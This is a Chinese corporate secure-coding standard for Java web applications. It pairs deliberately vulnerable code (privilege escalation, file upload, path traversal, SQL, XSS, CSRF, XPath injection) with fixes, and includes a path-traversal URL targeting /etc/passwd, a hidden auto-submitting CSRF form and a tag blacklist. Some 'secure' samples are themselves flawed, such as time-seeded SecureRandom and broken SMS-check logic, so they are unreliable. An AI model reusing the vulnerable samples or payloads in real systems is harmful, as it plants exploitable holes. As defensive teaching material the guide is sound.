应用系统安全编码规范
目 录
- 总则
- 目的
为落实《信息安全策略》的要求,有效加强应用系统安全管理,提升应用系统安全编码能力,指导开发团队有效进行应用系统安全编码,特制定本规范。
- 适用范围
本指南适用集团公司和子公司的所有应用系统。
- 阅读对象
本文档适合的阅读对象包括:
- 应用系统需求、设计人员,开发类项目的项目经理;
- 应用系统开发、维护人员;
- 应用系统安全功能测试人员,安全漏洞测试人员等。
- 术语和定义
- 应用系统
由一个或多个应用程序(通常为定制开发)组成,并可能结合若干其它通用软件(如中间件、数据库等),部署在操作系统上,实现特定的功能需求。从架构上区分,主要包括BS应用、CS应用、APP应用(移动智能终端)、微信应用等。从使用对象区分,主要包括内部应用(使用对象为内部员工)、外部应用(使用对象为外部客户)、合作商应用(使用对象主要为4S店等合作商)、复合类应用(使用对象同时包括上述多类用户)。从开发主体来区分,主要包括自主开发、外包开发、商业软件。
- 敏感信息
由本公司确定的必须受保护的信息,因为该信息的泄露、修改、破坏或丢失会对人或事产生可预知的损害。主要包括业务信息:如保单信息、理赔信息等;客户资料信息:如客户的身份证号码、住址、联系方式、绑定的银行卡卡号、车牌号等;员工信息;鉴别信息等。
- 鉴别
验证实体所声称的身份的动作。
- 验证码
主要包括图形验证码,通过短信、邮件等方式发送的随机数验证码等。
- 缩略语
下列缩略语适用于本文件。
PIN:个人识别密码(Personal Identification Number)
- 应用安全编码规范
应用安全编码规范包括身份认证、访问控制、输入输出验证、会话安全和数据安全五个部分。
- 身份认证
- 图形验证码实现
(1)风险概述
较弱的图形验证码能够被某些图像识别技术读取出其中的验证码字符,进而绕过图形验证码的校验功能。
(2)合规方案
图形验证码应该满足如下要求:
- 图形验证码里的字符并添加干扰线。
示例图:
- 图形验证码应该动态生成,不重复,以防止根据图片hash进行内容匹配。
- 必须是一次性的,每次验证之后必须更新。
- 图形验证码对应的字符内容只能在服务端保存。
- 多样化的图形验证码只要具备安全特性,都可使用。
例如下图,按照图片的内容,人工得出另一个结果,也推荐使用。
(3)安全编码示例:
<% //String num = request.getParameter("num"); String num="4"; int charNum = 4; // 随机产生字符数量 if(num != null){ charNum = Integer.parseInt(num); } int width = 74; // 图片宽 int height = 30; // 图片高 int lineSize = 100; // 干扰线数量 String randString=""; //需要绘制的随机字符串 BufferedImage buffImage = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR); // BufferedImage类描述具有可访问图像数据缓冲区的Image Graphics2D g = buffImage.createGraphics(); //设置背景色 g.setColor(Color.white); g.fillRect(0, 0, width, height); //设置字体 g.setFont(new Font("Times New Roman", Font.ROMAN_BASELINE, 18)); //画边框 g.drawRect(0,0,width-1,height-1); //绘制干扰线 Random random = new Random(); for (int i = 0; i <= lineSize; i++) { int x = random.nextInt(width); int y = random.nextInt(height); int xl = random.nextInt(width/8); int yl = random.nextInt(height/8); g.setColor(randColor(130, 250)); g.drawLine(x, y, x + xl, y + yl); } //字符集,从中随机产生字符串 char[] characterSet = {'0','1','2','3','4','5','6','7','8','9', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; g.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.6f)); //设置透明色 g.setFont(new Font("Fixedsys", Font.CENTER_BASELINE, 24)); //产生随机验证码 for (int i = 1; i <= charNum; i++) { g.setColor(randColor(20,130)); String rand = String.valueOf(characterSet[random.nextInt(characterSet.length)]); //获取随机的字符 g.translate(random.nextInt(3), random.nextInt(3)); g.drawString(rand, width/(charNum+2) * i, height/4*3);
randString += rand; } g.dispose(); System.out.println("验证码:"+randString); session.setAttribute("validateCode", randString); //禁止图像缓存。 response.setHeader("Pragma", "no-cache"); response.setHeader("Cache-Control", "no-cache"); response.setDateHeader("Expires", 0); OutputStream os = response.getOutputStream(); try { ImageIO.write(buffImage, "png", os); os.close(); out.clear(); out = pageContext.pushBody(); } catch (IOException e) { e.printStackTrace(); } %> <%! /* * 随机获取颜色 */ private Color randColor(int fc, int bc) { Random random = new Random(); if (fc > 255) fc = 255; if (bc > 255) bc = 255; int r = fc + random.nextInt(bc - fc); int g = fc + random.nextInt(bc - fc); int b = fc + random.nextInt(bc - fc); return new Color(r, g, b); } %> |
- 短信验证码实现
(1)风险概述
短信验证码在多种应用场景中发挥了身份识别的重要作用,如果实现时考虑不周全,会导致手机号绕过、验证码被暴力猜解、短信轰炸等多个安全问题的产生。
(2)合规方案
实现短信验证码验证时,应判断短信验证码是否已经被使用过、短信验证码是否正确、短信验证码是否超时等。
(3)安全编码示例:
public int doControl() throws SsException { try { String sms_input =(String)mapValue.get("sms_yzm"); String errMsg=(String)mapValue.get("respmsg");
String sms_yzm = priDataCache.getParam("sms_yzm"); String sms_time = priDataCache.getParam("sms_yzm_time"); boolean isBeyondCount=false; //检查是否获取到短信验证码 if(sms_yzm==null || sms_time==null ||sms_time.equals("")||sms_yzm.equals("")){ priDataCache.setParam("respcode", "m2019"); priDataCache.setParam("respmsg", "未获取短信验证码!"); return -1; } //短信验证码超时检查 if(System.currentTimeMillis()-180000>Long.parseLong(sms_time)){//三分钟 priDataCache.setParam("respcode", "m2020"); priDataCache.setParam("respmsg", "短信验证码已经超时,请重新获取"); return -1; } //检查短信验证码是否已被使用 if(sms_input!=null&&sms_input.equals(sms_yzm)){ priDataCache.setParam("sms_yzm", ""); priDataCache.setParam("sms_yzm_time", ""); } //判断短信的错误尝试次数 if(sms_input!=null){ int msgCount = iBaseDao.queryForInt("customer.countMsg", param); if(msgCount>10){ isBeyondCount=true;} if(isBeyondCount){ TransUtil.buildResponseMessage(AppConstants.RspCode_FAIL, "短信验证码在一天之内不允许超过10次",rst); return rst; } else{ priDataCache.setParam("respcode", "m2021"); priDataCache.setParam("respmsg", errMsg); return -1; } }catch(Exception ex){ Log.getInstance().error(logId,ex.getMessage(),ex); throw new SsException("m2022", "验证码输入不正确" + ex.toString()); } return 0; } |
- 访问控制
- 水平越权防范
(1)风险概述
水平越权漏洞,是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时,没有判断数据的所属人,而导致的越权数据访问漏洞。例如服务器端从客户端提交的request参数(用户可控数据)中获取用户ID,恶意攻击者通过变换请求ID的值,查看或修改不属于本人的数据。
(2)缺陷编码示例:
水平越权漏洞产生的原因就是服务器端对数据的访问控制验证不充分造成的。一个正常的用户A通常只能够对自己的一些信息进行增删改查,如果用户在对信息进行增删改查的时候服务器没有判断操作的信息是否属于对应的用户,即可导致用户越权操作其他人的信息。
如下代码是一段根据地址id删除用户地址的代码,在删除操作时,未判断提交的地址id是否属于当前登录用户,可导致水平越权漏洞的产生。
@RequestMapping(value="/delete/{addrId}") public Object remove(@PathVariable Long addrId){ Map<String, Object> respMap = new HashMap<String, Object>(); if (WebUtils.isLogged()) { this.addressService.removeUserAddress(addrId); respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_SUCCESS); respMap.put(Constants.MESSAGE,"地址删除成功!"); }else{ respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_FAIL); respMap.put(Constants.ERROR,"用户没用登录,删除地址失败!"); } return respMap; } |
(3)合规方案
水平越权漏洞的特征就是服务器端没有对提交数据的用户身份做校验,危害程度取决于提交数据是否有规律,因此,我们可通过两个方面来减小水平越权漏洞的危害:
- 设计数据标识格式
在设计数据库时,通常情况下,我们会将数据表主键设置为自增格式,这样在提交查询时,提交的数据就是有规律的,攻击者可通过遍历的方式来扩大危害程度,建议将自增格式设计为不可猜测格式。
- 身份鉴别
判断提交的数据是否属于当前登录用户。
(4)安全编码示例:
设计数据标识格式:将数据标识的格式设定为UUID(通用唯一识别码)的格式,生成的UUID是由一个十六位的数字和字母的组合,表现形式如550E8400E29B11D4A716446655440000,可防止攻击者猜解数据ID来越权攻击
public String getUUID(){ UUID uuid=UUID.randomUUID(); String str = uuid.toString(); String uuidStr=str.replace("-", ""); return uuidStr; } |
身份鉴别:
@RequestMapping(value="/delete/{addrId}") public Object remove(@PathVariable Long addrId){ Map<String, Object> respMap = new HashMap<String, Object>(); if (WebUtils.isLogged()) { this.addressService.removeUserAddress(addrId,WebUtils.getLoggedUserId()); respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_SUCCESS); respMap.put(Constants.MESSAGE,"地址删除成功!"); }else{ respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_FAIL); respMap.put(Constants.ERROR,"用户没用登录,删除地址失败!"); } return respMap; } |
- 垂直越权防范
(1)风险概述
垂直越权是一种URL的访问控制设计缺陷引起的漏洞,由于未对URL设定严格的用户访问控制策略,导致普通用户也可以通过发送请求的方式访问本应由高权限用户才可访问的页面。
(2)缺陷编码示例:
如下是一段删除用户操作的代码,若在操作时未对访问请求者的权限做判断,那么攻击者就可以构造请求“http://xxx.xxx.xxx/user/delete?id=1”来做只有管理员才有权限干的事情。
@RequestMapping(value = "delete") public String delete(HttpServletRequest request, @RequestParam Long id) throws Exception { try { userManager.delete(id); request.setAttribute("msg", "删除用户成功"); } catch (ServiceException e) { // logger.error(e.getMessage(), e); request.setAttribute("msg", "删除用户失败"); } return list(request); } |
3)合规方案
建议系统通过全局过滤器来检测用户是否登录、是否对资源具有访问权限。
(4)安全编码示例:
public class PrivilegeFilter implements Filter { private Properties properties=new Properties(); @Override public void destroy(){properties=null;} @Override public void init(FilterConfig config) throws ServletException { //获取资源访问权限配置 String fileName=config.getInitParameter("privilegeFile"); String realPath=config.getServletContext().getRealPath(fileName); try { properties.load(new FileInputStream(realPath)); } catch(Exception e) { config.getServletContext().log("读取权限控制文件失败",e); } } @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request=(HttpServletRequest)req; HttpServletResponse response=(HttpServletResponse)res;
String requestUri=request.getRequestURI().replace(request.getContextPath()+"/", ""); String action=request.getParameter("action"); action=action==null?"":action; String uri=requestUri+"?action="+action; String role=(String)request.getSession().getAttribute("role"); role=role==null?"guest":role; boolean authen=false; for(Object obj:properties.keySet()) { String key=(String)obj; if(uri.matches(key.replace("?", "\\?").replace(".", "\\.").replace("*", ".*"))) { if(role.equals(properties.get(key))) { authen=true; break; } } } if(!authen) { throw new RuntimeException("您无权访问该页面,请以合适的身份登录后查看。"); } chain.doFilter(request, response); } } |
将权限访问规则存入privilege.properties文件中,如下所示:
admin.do?action=* = administrator list.do?action=add = admin list.do?action=view = guest |
在web.xml中配置过滤器及权限:
<filter> <filter-name>privilegeFilter</filter-name> <filter-class>com.filter.privilegeFilter</filter-class> <init-param> <param-name>privilegeFile</param-name> <param-value>/WEB-INF/privilege.properties</param-value> </init-param> </filter> |
- 避免使用不够随机的数值
(1)风险概述
当使用的随机数生成算法不是安全的算法时,随机性无法得到保证。此时随机数可能被预测,依赖随机数实现的安全机制都可能产生问题,如防止重放攻击的token等。
(2)缺陷编码示例:
String GenerateReceiptURL(String baseUrl) { Random ranGen = new Random(); ranGen.setSeed((new Date()).getTime()); return(baseUrl + ranGen.nextInt(400000000) + ".html"); } |
(3)安全编码示例:
String GenerateReceiptURL(String baseUrl) { SecureRandom ranGen = SecureRandom.getInstance(DEF_RANDOM_ALGORITHM); ranGen.setSeed((new Date()).getTime()); return(baseUrl + ranGen.nextInt(400000000) + ".html"); } |
- 输入输出验证
- 上传文件安全性校验
(1)风险概述
文件上传功能允许用户将本地的文件通过Web页面提交到网站服务器上,如果不对用户上传的文件进行合法性验证,攻击者可利用Web应用系统文件上传功能(如文件上传、图像上传等)的代码缺陷来上传任意文件或者Webshell,并在服务器上运行,以达到获取Web应用系统控制权限或其他目的。
(2)缺陷编码示例:
如下是一段没有检查文件上传类型的代码,导致攻击者上传webshell脚本文件:
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);
String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING);
// 判断contentType是否是multipart/form-data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// 从HttpHeader中提取文件名
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...
// 把文件输出到上传目录
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //循环结束
bw.close();
} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
(3)合规方案
文件类型验证
检验上传文件的后缀名,根据需求设定允许上传文件类型白名单。
检查文件头信息,判断文件类型。
限制文件大小。
在服务端进行安全检查,避免利用客户端传入的信息作为检查依据。
文件存储安全
上传文件保存在中间件不可解析的目录,如文件服务器。
尽可能对上传文件重命名,如果不能做到这一点,应该保证上传的文件名不包括特殊字符,新建的目录应该保证目录名不包含特殊字符。
- 防范路径遍历攻击
(1)风险概述
路径遍历,即利用路径回溯符“../”跳出程序本身的限制目录实现下载任意文件。例如Web应用源码目录、Web应用配置文件、敏感的系统文件(/etc/passwd、/etc/paswd)等。
例如一个正常的Web功能请求:
http://www.test.com/get-files.jsp?file=report.pdf
如果Web应用存在路径遍历漏洞,则攻击者可以构造以下请求服务器敏感文件:
http://www.test.com/get-files.jsp?file=../../../../../../../../../../../../etc/passwd
(2)缺陷编码示例:
以下是一段存在文件路径遍历缺陷的代码,服务端没有对传入的imgName参数进行合法性验证,而imgName参数值就是客户端请求下载的文件,攻击者通过控制imgName参数可以遍历服务器上的敏感文件:
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { byte data[] = new byte[1]; //取得用户提交的图片文件名,没有检测是否为图片,也没有检测是否包含../../目录跳转的字符 String imgName = request.getParameter("imgName"); String imgKey = MD5Encrypt.MD5(imgName);//本地 if (imageCache.containsKey(imgKey)) { data = (byte[]) imageCache.get(imgKey); } else { String imagePath = Consts.IMG_LOCAL_PAHT + imgName; //没有对该参数进行严格的验证和过滤,就拼接成完整的图片路径 InputStream inputStream = null; File imageFile = new File(imagePath); logger.debug(imagePath + " " + imageFile.exists()); if (imageFile.exists() && imageFile.isFile()) { inputStream = new FileInputStream(imagePath); int i = inputStream.available(); data = new byte[i]; inputStream.read(data); inputStream.close(); imageCache.put(imgKey, data); } else { …… } } //将文件内容输出到客户端 response.setContentType("image/*"); OutputStream outputStream = response.getOutputStream(); outputStream.write(data); outputStream.close(); } |
(3)合规解决方案
要对用户请求数据进行控制。
在文件存储时,设计文件路径映射关系,如文件ID和存储路径的映射关系,在用户请求下载文件时,在请求参数中携带文件ID,服务器端根据文件ID来获取映射的文件路径,然后将文件内容返回客户端;或在请求文件处直接给出文件路径的链接。
安全编码示例:
映射文件路径下载:
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ImageDao imgDao=new ImageDao(); byte data[] = new byte[1]; String imgID = request.getParameter("imgID"); String imgName=imgDao.getImage(imgID); String imgKey = MD5Encrypt.MD5(imgName);//本地 if (imageCache.containsKey(imgKey)) { data = (byte[]) imageCache.get(imgKey); } else { String imagePath = Consts.IMG_LOCAL_PAHT + imgName; //没有对该参数进行严格的验证和过滤,就拼接成完整的图片路径 InputStream inputStream = null; File imageFile = new File(imagePath); logger.debug(imagePath + " " + imageFile.exists()); if (imageFile.exists() && imageFile.isFile()) { inputStream = new FileInputStream(imagePath); int i = inputStream.available(); data = new byte[i]; inputStream.read(data); inputStream.close(); imageCache.put(imgKey, data); } else { …… } } response.setContentType("image/*");//将文件内容输出到客户端 OutputStream outputStream = response.getOutputStream(); outputStream.write(data); outputStream.close(); } |
绝对路径下载:
<a href=“http://xx.xx.xx.xx/upload/file1.jpg”> |
- 防范SQL注入
(1)风险概述
当应用程序将用户输入的内容,拼接到SQL语句中,一起提交给数据库执行时,就会产生SQL注入威胁。攻击者通过控制部分SQL语句,可以查询数据库中任何需要的数据,利用数据库的一些特性,甚至可以直接获取数据库服务器的系统权限。
SQL漏洞发生的根本原因就是“用户可控的”未经净化的数据“拼接”进入SQL语句中,然后提交进入数据库获得执行结果。
(2)缺陷编码示例:
Servlet示例
如下代码是根据用户名查询用户收支情况的一条数据库查询语句,存在SQL注入安全风险,其中user_name参数来自未经任何处理的HTTP请求:
String query = "SELECT account_balance FROM user_data WHERE user_name = ‘" + request.getParameter("customerName")+"’"; try { Statement statement = connection.createStatement( … ); ResultSet results = statement.executeQuery( query ); } |
攻击者通过控制http请求中的customerName参数值来对Web服务器进行SQL注入攻击。
MyBatis示例
MyBatis是一个数据持久层(ORM)框架,可以使用简单的XML或注解用于配置和原始映射,将接口和Java的POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录。
如下是一段MyBatis的查询语句,接收一个String类型的参数,并返回一个HashMap类型的对象。
<select id="selectUsers" resultType="map"> select id, username, hashedPassword from some_table where id = ${id} </select> |
如果使用${}的格式,直接在 SQL 语句中插入用户输入的字符串,MyBatis不会对传入的数据进行转义处理,从而导致 SQL 注入攻击。
(3)合规方案
对传入的SQL语句的参数进行预处理,使得传入的数据不会再作为SQL语句的一部分被执行。
参数化查询
利用PreparedStatement对象的set方法给参数赋值。参数化查询强制要求给每个参数进行预处理,这种方式使得传入的参数值中的敏感字符被转义处理。
输入合法性验证
检查输入字符串中是否包含敏感的SQL字符,检查到非法字符后,可以对非法字符进行转义处理或者结束数据库查询并返回告警。
(4)安全编码示例:
Servlet合规编码:
String custname = request.getParameter("customerName"); String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); |
MyBatis合规编码:
<select id="selectUsers" resultType="map"> select id, username, hashedPassword from some_table where id = #{id} </select> |
输入合法性验证示例:
String postid = request.getParameter("postid"); if (postid != null) { Statement stmt = con.createStatement(); ResultSet rs = null; Codec MYSQL_CODEC = new MySQLCodec(Mode.STANDARD); String escapeParam = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, postid); String sql = "select * from posts where postid=" + escapeParam; rs = stmt.executeQuery(sql); if (rs != null && rs.next()) { out.print("<b style='font-size:22px'>Title:" + rs.getString("title") + "</b>"); out.print("<br/>- Posted By " + rs.getString("user")); out.print("<br/><br/>Content:<br/>" + rs.getString("content")); } } |
绿色代码是通过ESAPI提供的encodeForSQL方法来对输入的参数值进行处理。
- 防范跨站脚本
(1)风险概述
跨站脚本攻击(Cross Site Script)是一种将恶意JavaScript代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些嵌入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如cookie窃取、帐户劫持、拒绝服务攻击等。
跨站脚本攻击有以下攻击形式:
反射型跨站脚本攻击
攻击者利用社会工程学等手段,发送一个URL链接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
存储型跨站脚本攻击
攻击者利用应用程序提供的录入或修改数据的功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本,所有浏览者都会受到攻击。
DOM跨站脚本攻击
DOM型XSS是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种XSS漏洞。
DOM跨站脚本攻击和以上两个跨站脚本攻击的区别是,DOM跨站是纯页面脚本的输出,只有规范使用JavaScript,才可以防御。
(2)缺陷编码示例:
XSS漏洞发生的根本原因就是“用户可控的”未经净化的数据直接在HTML页面上展示,“用户可控数据”可能来源于http请求,或者数据库、Http Header、cookie等,将直接导致跨站脚本威胁。
反射型XSS缺陷编码示例:
<%out.print(request.getParameter("param")); %> |
在上面的代码中,直接将从请求参数中获取到的param参数值在页面中输出,可导致反射型XSS漏洞。
存储性XSS缺陷编码示例:
while(rs.next()) { %> <tr> <td><%=rs.getInt("id") %></td> <td><%=rs.getString("pname")%></td> <td><%=rs.getString("pdesc")%></td> <td><%=rs.getString("ptype")%></td> </tr> <% } |
代码中加粗的变量“rs.getInt("id")、rs.getString("pname")、rs.getString("pdesc")和rs.getString("ptype")”均为从数据库中读取到的数据,被直接输出到了页面中,没有做任何安全过滤,若从数据库中获取到的数据中包含JS/VBS脚本,就可能导致用户浏览器把JS/VBS脚本执行,从而造成XSS攻击。
(3)合规方案
对输出的数据进行编码输出,用来确保字符被视为数据,而不是作为代码被浏览器解析。
安全编码示例:
HTML实体/属性编码
在HTML/XML中显示“用户可控数据”前,应该进行htmlescape。
<div>#escapeHTML($user.name)</div> <td>#escapeHTML($user.name)</td> |
所有HTML和XML中输出的数据,都应该做html escape转义。
escapeHTML需要进行html转义应该按照以下列表进行转义
& < > " ' |
& < > " ' |
JavaScript编码
html转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。
<script>alert('#escapeJavaScript($user.name)')</script> <script>x='#escapeJavaScript($user.name)'</script> <div onmouseover="x='#escapeJavaScript($user.name)'"</div> |
针对输出在script标签之间的数据,需要转义的字符有:
/ ' " \ |
\/ \' \" \\ |
CSS编码
在style内容中输出的“用户可控数据”,需要做CSS escape转义。
String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input")); |
AJAX输出编码
XML输出“用户可控数据”时,对数据部分做HTML转义。
<?xml version="1.0" encoding="UTF-8" ?> <man> <name>#xmlEscape($name)</name> <man> |
JSON安全编码
JSON输出时要先对变量内容中的“用户可控数据”单独作htmlEscape,再对变量内容做一次JavasSript Escape。
String cityname=”北京<B>”+StringUtil.htmlEscape(city.name)+”</B>”; String json = "citys:{city:['"+ StringUtil.javascript(cityname) + "']}"; |
Response包中的http头的contentType,必须为json,并且用户可控数据做htmlEscape后才能输出。
response.setContentType("application/json"); PrintWriter out = response.getWriter(); out.println(StringUtil.htmlEscape(ajaxReturn)); |
富文本安全过滤
对输入的字符串进行富文本过滤,移除其中的恶意标签和脚本信息,保留安全的html标签,并在服务端进行校验。
方法设计的步骤:
- 若html为空或空串,返回null;
- 限定输入html的最大长度;
- 限定输入css的最大长度;
- 识别高危标签、属性、事件。
其中,恶意标签、属性、事件等控制应当生成黑白名单,并动态维护,保证安全机制的持续性。下面就是标签黑白名单设置,其中:
accept:允许标签内容;
remove:删除标签和子节点内容;
undefined:删除标签但保留内容
黑白名单如下:
标签 |
属性 |
规则 |
script |
all |
remove |
style |
style |
css特殊处理 |
head |
all |
remove |
iframe |
all |
remove |
frame |
all |
remove |
frameset |
all |
remove |
标签黑名单表
标签 |
属性 |
规则 |
a |
style、align、bgcolor、background、title、href |
accept |
hr |
id、style、align、bgcolor、background、title |
accept |
页面标签白名单表
标签 |
属性 |
规则 |
h1 |
id、style、align、bgcolor、background、title |
accept |
h2 |
id、style、align、bgcolor、background、title |
accept |
h3 |
id、style、align、bgcolor、background、title |
accept |
h4 |
id、style、align、bgcolor、background、title |
accept |
h5 |
id、style、align、bgcolor、background、title |
accept |
h6 |
id、style、align、bgcolor、background、title |
accept |
font |
align、bgcolor、background、title、color、size |
|
em |
id、style、align、bgcolor、background、title |
accept |
字体标签白名单表
标签 |
属性 |
规则 |
marquee |
style、align、bgcolor、background、title |
accept |
动态文字标签白名单表
标签 |
属性 |
规则 |
bgsound |
src、loop、autostart |
accept |
blockquote |
id、style、align、bgcolor、background、title |
accept |
多媒体处理标签白名单表
- 防范跨站请求伪造攻击(CSRF)
(1)风险概述
跨站请求伪造(CSRF)是一种劫持被攻击者浏览器发送HTTP请求到目标网站触发某种操作的漏洞。跨站请求伪造漏洞利用的是浏览器的cookie传递机制,当用户登录了A网站,然后用户通过浏览器的选项卡打开了B网站,当B网站发起对A网站的请求时,A网站就会正常执行该请求。通过跨站请求伪造漏洞,攻击者可以劫持受害者,执行目标网站允许的各种敏感操作,如修改个人信息等。
CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack),通常具有如下特性:
依靠用户标识危害Web应用;
利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点;
危害程度取决于登陆者的权限。
(2)缺陷编码示例:
跨站请求伪造漏洞利用的是浏览器的cookie传递机制,多窗口浏览器启动的进程只有一个,各窗口的会话也是通用的。即B站点窗口发送请求到A站点也会携带上A站点的cookie。如下是一段更新个人信息的代码,存在CSRF漏洞。
int userid=Integer.valueOf(request.getSession().getAttribute("userid").toString()); String email=request.getParameter("email"); String tel=request.getParameter("password"); String realname=request.getParameter("realname"); Object[] params = new Object[4]; params[0] = email; params[1] = password; params[2] = realname; params[3] = userid; final String sql = "update user set email=?,password=?,realname=? where userid=?"; conn.execUpdate(sql,params); |
在代码中,从session中获取userid的信息,然后根据userid来更新用户的信息。攻击者可在恶意站点中构造如下表单,诱使登陆者点击。
<script> document.form1.submit(); </script> <div style="display:'none'"> <form name="form1" action="http://A.com/modify.jsp" method="POST"> <input name="email" value="test@test.com"> <input name="password" value="test"> <input name="realname" value="test"> <input type="submit"> </form> </div> |
(3)合规方案
验证Refer
在浏览器发送请求时,在HTTP请求头部会携带请求来源的信息,即http refer。我们可以通过设置全局过滤器,来校验所有请求的refer信息,判断refer是否来源于可信站点。但是,校验refer的方式只能防御跨站的CSRF攻击,并不能防御同站的CSRF攻击。
CSRF Token
- 新建CSRF Token添加进用户每次登陆并存储在http session里,这种令牌至少对每个用户会话来说应该是唯一的,或者是对每个请求是唯一的。
- 在客户端向服务器端发起请求时,将Token作为一个参数或者字段发送到服务器端。
- 服务器端检查提交的Token与用户会话对象的Token是否匹配。
安全编码示例:
验证Refer:
// 从 HTTP 头中取得 Referer 值 String referer=request.getHeader("Referer"); // 判断 Referer 是否以 bank.example 开头 if((referer!=null) &&(referer.trim().startsWith(“bank.example”))){ chain.doFilter(request, response); }else{ request.getRequestDispatcher(“error.jsp”).forward(request,response); } |
添加Token:
如下代码是使用Filter的方式校验csrf token的,首先判断 session 中有没有 csrftoken,如果没有,则认为是第一次访问,session 是新建立的,这时生成一个新的 token,放于 session 之中,并继续执行请求。如果 session 中已经有 csrftoken,则说明用户已经与服务器之间建立了一个活跃的 session,这时要看这个请求中有没有同时附带这个 token,由于请求可能来自于常规的访问或是 XMLHttpRequest 异步访问,我们分别尝试从请求中获取 csrftoken 参数以及从 HTTP 头中获取 csrftoken 自定义属性并与 session 中的值进行比较,只要有一个地方带有有效 token,就判定请求合法,可以继续执行,否则就转到错误页面。生成 token 有很多种方法,任何的随机算法都可以使用,Java 的 UUID 类也是一个不错的选择。
HttpServletRequest req = (HttpServletRequest)request; HttpSession s = req.getSession(); // 从 session 中得到 csrftoken 属性 String sToken = (String)s.getAttribute(“csrftoken”); if(sToken == null){ // 产生新的 token 放入 session 中 sToken = generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response); } else{ // 从 HTTP 头中取得 csrftoken String xhrToken = req.getHeader(“csrftoken”); // 从请求参数中取得 csrftoken String pToken = req.getParameter(“csrftoken”); if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ chain.doFilter(request, response); }else if(sToken != null && pToken != null && sToken.equals(pToken)){ chain.doFilter(request, response); }else{ request.getRequestDispatcher(“error.jsp”).forward(request,response); } } |
- 防范XPath注入攻击
(1)风险概述
与SQL注入类似,XPATH注入发生在当网站使用用户提供的信息查询XML数据时。通过向网站故意发送异常信息,攻击者可以发现XML数据的结构或访问那些本来无法访问到的数据。如果该XML是一个用户认证文件(例如一个基于XML 的用户文件),攻击者还能借此提升自己在网站中的特权。
(2)缺陷编码示例:
利用XPath 解析器的松散输入和容错特性,攻击者能够在URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。
private boolean doLogin(HttpServletRequest request) throws ParserConfigurationException, SAXException, IOException, XPathExpressionException { String userName=request.getParameter("username"); String password=request.getParameter("userpass"); DocumentBuilderFactory domFactory=DocumentBuilderFactory.newInstance(); domFactory.setNamespaceAware(true); DocumentBuilder builder=domFactory.newDocumentBuilder(); Document doc=builder.parse(request.getRealPath("WEB-INF")+"/users.xml"); XPathFactory factory=XPathFactory.newInstance(); XPath xPath=factory.newXPath(); XPathExpression expression=xPath.compile("//users/user[username/text()='"+userName+"' and password/text()='"+password+"']"); Object result=expression.evaluate(doc, XPathConstants.NODESET); NodeList nodes=(NodeList)result; return (nodes.getLength()>=1); } |
上述代码就是使用拼接的方式将用户名和密码拼接进入XPath语句中,可导致XPath注入。
(3)合规方案
在服务器端构造XPath查询语句之前,对提交的数据进行合法性校验,对特殊字符进行编码转换或替换等操作。
(4)安全编码示例:
XQuery 参数化查询:利用XQuery接口模拟SQL参数化查询,首先创建参数化查询文件,XQuery支持将查询语句写入运行时环境中的一个单独文件中。如:
declare variable $username as xs:string extenal; declare variable $password as xs:string extenal; //users/user[@username=$username and @password=$password] |
在程序处理过程中调用XQuery,并传入参数。
